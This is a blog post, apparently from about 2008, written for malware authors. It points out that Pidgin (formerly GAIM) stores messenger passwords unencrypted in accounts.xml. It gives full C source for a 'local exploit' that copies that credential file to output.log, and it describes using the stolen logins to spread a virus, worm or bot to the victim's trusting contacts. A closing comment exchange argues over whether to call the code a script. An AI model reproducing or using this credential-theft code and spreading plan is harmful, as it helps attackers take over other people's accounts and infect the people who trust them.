For those of you that don’t know, Pidgin (formerly GAIM) is a messenger client that allows a user to use one client for their MSN, Yahoo, IRC, AIM, ICQ, and various other protocols. There’s one thing special — for malware authors — that needs to be kept in mind.
Pidgin has a “special feature.” According to their site,
This is what Gaim [Pidgin] does: the password is in accounts.xml in plain text, but the file itself is only readable by its owner. We allow the user to determine under what conditions sensitive files should be opened (if at all), and what constitutes a breach of security.
Yes, you read that right. All usernames and passwords are stored, unencrypted, on the user’s computer. Their “security” plays into our hands; if we’re infecting someone, we’ll definitely have access to read their files, and therefore all their Messenger login credentials. From there, we can log in via our own client mimic scripts for each protocol and spread our virus/worm/bot to our heart’s content to all the contacts that trust our victim!
The following program was written by a friend. Although he says he tested it on GAIM 1.1.2, I have tested it at the time of writing on Pidgin 2.4.1 and it still works flawlessly. “I got the idea to write an exploit,” NoUse says in this thread, “for GAIM to grab the passwords that are stored in plain text.” Basically, it saves them to another file for anyone to work with.
/*
* GAIM "accounts.xml" local exploit for Linux
* Tested on: GAIM 1.1.2
* Works with: All versions
* written by: NoUse
* http://www.anomalous-security.org
*
*/
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
#define MAXPATHLEN 56
int main(int argc, char **argv)
{
FILE *gaim_xml, *output;
int temp;
char gaim[MAXPATHLEN], cwd_buffer[MAXPATHLEN];
char *cwd_pointer;
struct passwd *home = getpwuid(getuid());
sprintf(gaim, "%s/.gaim/accounts.xml", home->pw_dir);
gaim_xml = fopen(gaim, "r");
if(gaim_xml == NULL){
printf("\nError opening gaim account file. Exiting...\n");
return -1;
}
output = fopen("output.log", "w+");
if(output == NULL){
printf("\nError opening log file. Exiting...\n");
return -1;
}
while(temp != EOF){
temp = fgetc(gaim_xml);
putc(temp, output);
}
fclose(gaim_xml);
fclose(output);
cwd_pointer = getcwd(cwd_buffer, MAXPATHLEN);
printf("\nSuccess! Log file can be found in %s/output.log\n\n", cwd_pointer);
return 0;
}
Does it even need to be said that C is not a scripting language?
Bah. I’m a Perl coder by heart, so I’m used to referring to any piece of code as “script.” My bad – I’ll change the wording.